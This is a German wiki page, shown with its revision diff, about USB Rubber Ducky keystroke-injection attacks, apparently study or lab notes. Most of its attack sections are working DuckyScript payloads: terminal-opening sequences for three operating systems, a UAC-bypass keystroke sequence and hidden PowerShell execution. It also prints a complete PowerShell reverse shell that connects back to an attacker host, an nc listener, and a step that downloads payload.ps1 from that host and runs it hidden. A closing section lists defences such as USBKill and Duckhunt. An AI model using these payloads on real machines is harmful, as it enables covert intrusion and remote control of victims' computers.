USB: Rubber Ducky: Difference between revisions

From
Jump to navigation Jump to search
No edit summary
No edit summary
Line 132: Line 132:
==== Lösungsansatz: Privileg-Einschränkungen umgehen ====
==== Lösungsansatz: Privileg-Einschränkungen umgehen ====
Firmware-Anpassung: zum öffnen des USB-Sticks Root-Pw angeben, ..<br>
Firmware-Anpassung: zum öffnen des USB-Sticks Root-Pw angeben, ..<br>
'''UAC-Bypass:'''<br>
<code>'''REM UAC-Bypass:'''<br>
CTRL ESC
CTRL ESC<br>
STRING cmd
STRING cmd<br>
MENU
MENU<br>
ENTER
ENTER<br>
DOWNARROW
DOWNARROW<br>
LEFTARROW
LEFTARROW<br>
ENTER
ENTER</code>




Line 167: Line 167:
STRING set-executionpolicy remotesigned
STRING set-executionpolicy remotesigned
STRING powershell.exe -windowstyle hidden -File C:\Users\$env:UserName\payload.ps1
STRING powershell.exe -windowstyle hidden -File C:\Users\$env:UserName\payload.ps1


== Gegenmaßnahmen ==
'''Grundvulnerabilität''' schwer zu beheben, da in allg. Umgang mit HID-Geräten naive Umgangsweise:
Annahme: Eingabegeräte werden von Nutzern bedient, dem Nutzer am Gerät wird vertraut.
Es gibt keine Möglichkeit der Authentifizierung im USB-HID-Protokoll/-Handshake.
HID-Geräte können einfach über den Device-Deskriptor emuliert werden.

=== Hardware-Maßnahmen ===
==== USB-Ports physisch schließen ====
[..]

==== USB-Firewall - USG ====
Schützt vor USB-Driver Exploits (= schädlicher Input an USB-Driver), Versteckter schädlicher Funktionalität (= verstecktes Gerät im Hintergrund zusätzlich angeschlossen oder Veränderung der USB-Deskriptor-Parameter um sich als neues Gerät auszugeben), schädlicher Funktionalität die direkt von Gerät ausgeführt wird (= HID-Gerät, dass sich unerwartet verhält (unterbindung durch Blockieren von Keystrokes die über bestimmte Geschwindigkeit ausgeführt werden))

=== Software-Maßnahmen ===
==== Beamgun ====
USB-Detection: FocusStealing(Bei neuem USB-Keysboard-Anschluss Fokus des Keyboards auf ein bestimmtes Fenster umleiten)/LockComputer(Zu Login-Screen springen, wenn neues USB-Keyboard angeschlossen wird)

==== USBKill ====
USB-Detection(Bei einer Änderung der USB-Schnittstellen wird der PC sofort heruntergefahren. (Whitelisting möglich)) => Shutdown

==== Duckhunt ====
Keystroke-Logging(Protokolliere die durchschnittliche Keystroke-Geschwindigkeit und blockiere den Keyboard-Input, wenn die Geschwindigkeit sich maßgeblich erhöht) => ..

==== Group Policies ====
Verbieten bestimmter HIDs mittels Group Policies

==== USB deaktivieren ====
Inaktive USB-Ports können über das OS deaktiviert werden


== Ausblick ==

===Bash Bunny ===

Revision as of 23:51, 13 October 2017

Grundlagen

[..]

Rubber Ducky ist ein Microcontroller (AMTEL 32bit) mit SD-Karte der aussieht wie ein USB-Stick und sich verhält wie eine Tastatur. So kann alles mit dem Gerät gemacht werden, was mit der Tastatur gemacht werden könnte.

Allg. Ablauf:

  1. SD-Karte einstecken
  2. Ducky-Script encoden (.jar oder Website toolkit) zu .bin
  3. Payload (.bin) auf SD-Karte ablegen
  4. USB-Stick in Opfer-Rechner stecken
  5. Payload führt sich automatisch aus

Angriffsszenarien

Direkter Zugang

Angreifer kann selbst (zumindest für einen kurzen Zeitraum) auf das Gerät physisch zugreifen und den RubberDucky selbst einstecken.

Indirekter Zugang

Angreifer muss Oper dazu bewegen, selbst RubberDucky in den Zielrechner einzustecken.

Bash starten

Problem: Betriebssystem ermitteln

Lösungsansatz: Hotkeys

DetourDuck
REM open terminal on ubuntu-distros
DELAY 500
CTRL-ALT t
DELAY 50
ENTER

REM open terminal on mac
DELAY 1000
GUI SPACE
DELAY 500
DELETE
STRING terminal
DELAY 500
ENTER

REM open cmd on windows
DELAY 500
CTRL ESC
DELAY 1000
STRING cmd
DELAY 2000
CTRL-SHIFT ENTER
DELAY 5000
LEFTARROW
DELAY 50
ENTER

Lösungsansatz: Tastenkombinationen

DELAY 10000
REM open terminal on mac
DELAY 1000
GUI SPACE
DELAY 500
DELETE
STRING terminal
DELAY 500
ENTER
REM open terminal on ubuntu-distros
DELAY 500
REM ALT F2
CTRL-ALT t
DELAY 50
ENTER
REM open cmd on windows
DELAY 500
CTRL ESC
DELAY 1000
STRING cmd
DELAY 2000
CTRL-SHIFT ENTER
DELAY 5000
LEFTARROW
DELAY 50
ENTER
DELAY 5000
ESC

Lösungsansatz: OS

Unterschiedliche Implementierungen des USB-Handshakes, Host Driver der Kernel vergleichen Synchronization: Due to application-specific sampling rates, different hardware clock designs, scheduling policies in the operating system, or even physical anomalies, the host and isochronous device could fall out of synchronization. Therefore, special consideration is required to maintain synchronization. Isochronous endpoints specify one of three synchronization types. Please note that USB, unlike other standards like VGA or PCI, is agnostic of the hardware interface to the system bus (and, by extension, to the operating system). OperatingSystem-Kernel communicates with usb microcontroller through Host Controller Driver. some security reserchers presented (or did they found such things in the wild?) attack scenarios with badusb devices that detect the host OS by some timing and protocoll uniquenesses to trigger slighly focused attacks. While the OS itself never identifies any Information about the OS or host hardware, it does use a handshake to authenticate with the USB device. The sequence of this handshake is slightly different in every OS and has got some unique properties. = OS Fingerprinting

Problem: Schadscript ausführen

Lösungsansatz: Über DuckyScript ausführen

Über DuckyScript direkt ausführen

Lösungsansatz: Zusätzlicher Mass-Storage

MassStorage als zweiten Deskriptor
TwinDuck
Windows Laufwerk dynamisch ermitteln: STRING for /f "tokens=3 delims= " %A in ('echo list volume ^| diskpart ^| findstr "DUCKYDRIVE"') do (set DUCKYdrive=%A:)

Lösungsansatz: Aus Internet laden

Script über das Internet nachladen

Lösungsansatz: Nutzer motivieren

Nutzer dazu bringen Script selbst auszuführen (root-Rechte erhalten)

Problem: Unauffällig bleiben

Lösungsansatz: Shell per Keystrokes verstecken

[..]

Lösungsansatz: Hidden Shell

STRING powershell.exe -windowstyle hidden -File C:\Users\$env:UserName\payload.ps1</code

Lösungsansatz: Kleine Delays verwenden

Beispiel: DELAY 50

Problem: Unterschiedliche Sicherheitsfeatures umgehen

Lösungsansatz: IDS/Firewalls umgehen

keine Executables laden, Textfies lokal zu .exe files compilieren, über DNS-Tunnel leiten

Lösungsansatz: Privileg-Einschränkungen umgehen

Firmware-Anpassung: zum öffnen des USB-Sticks Root-Pw angeben, ..
REM UAC-Bypass:
CTRL ESC
STRING cmd
MENU
ENTER
DOWNARROW
LEFTARROW
ENTER


Anwendungsbeispiele

Ransomware

[..]

Reverse Shell

Resource-Server sudo php -S 0.0.0.0:[Port x] -t ~/Schreibtisch/rubber_ducky/reverseShell/

Powershell-Script $sm=(New-Object Net.Sockets.TCPClient("[HostIP]",[Port y])).GetStream();[byte[]]$bt=0..65535|%{0};while(($i=$sm.Read($bt,0,$bt.Length)) -ne 0){;$d=(New-Object Text.ASCIIEncoding).GetString($bt,0,$i);$st=([text.encoding]::ASCII).GetBytes((iex $d 2>&1));$sm.Write($st,0,$st.Length)}

ReverseShell-Server nc -l -p [Port y]

DuckyScript REM Shell-Script von Server laden STRING powershell STRING $client = new-object Net.WebClient STRING $client.DownloadFile(„http://[HostIP]:[port x]/payload.ps1“, “C:\Users\$env:UserName\payload.ps1“) REM Script ausführen bzw. Shell starten STRING set-executionpolicy remotesigned STRING powershell.exe -windowstyle hidden -File C:\Users\$env:UserName\payload.ps1


Gegenmaßnahmen

Grundvulnerabilität schwer zu beheben, da in allg. Umgang mit HID-Geräten naive Umgangsweise: Annahme: Eingabegeräte werden von Nutzern bedient, dem Nutzer am Gerät wird vertraut. Es gibt keine Möglichkeit der Authentifizierung im USB-HID-Protokoll/-Handshake. HID-Geräte können einfach über den Device-Deskriptor emuliert werden.

Hardware-Maßnahmen

USB-Ports physisch schließen

[..]

USB-Firewall - USG

Schützt vor USB-Driver Exploits (= schädlicher Input an USB-Driver), Versteckter schädlicher Funktionalität (= verstecktes Gerät im Hintergrund zusätzlich angeschlossen oder Veränderung der USB-Deskriptor-Parameter um sich als neues Gerät auszugeben), schädlicher Funktionalität die direkt von Gerät ausgeführt wird (= HID-Gerät, dass sich unerwartet verhält (unterbindung durch Blockieren von Keystrokes die über bestimmte Geschwindigkeit ausgeführt werden))

Software-Maßnahmen

Beamgun

USB-Detection: FocusStealing(Bei neuem USB-Keysboard-Anschluss Fokus des Keyboards auf ein bestimmtes Fenster umleiten)/LockComputer(Zu Login-Screen springen, wenn neues USB-Keyboard angeschlossen wird)

USBKill

USB-Detection(Bei einer Änderung der USB-Schnittstellen wird der PC sofort heruntergefahren. (Whitelisting möglich)) => Shutdown

Duckhunt

Keystroke-Logging(Protokolliere die durchschnittliche Keystroke-Geschwindigkeit und blockiere den Keyboard-Input, wenn die Geschwindigkeit sich maßgeblich erhöht) => ..

Group Policies

Verbieten bestimmter HIDs mittels Group Policies

USB deaktivieren

Inaktive USB-Ports können über das OS deaktiviert werden


Ausblick

Bash Bunny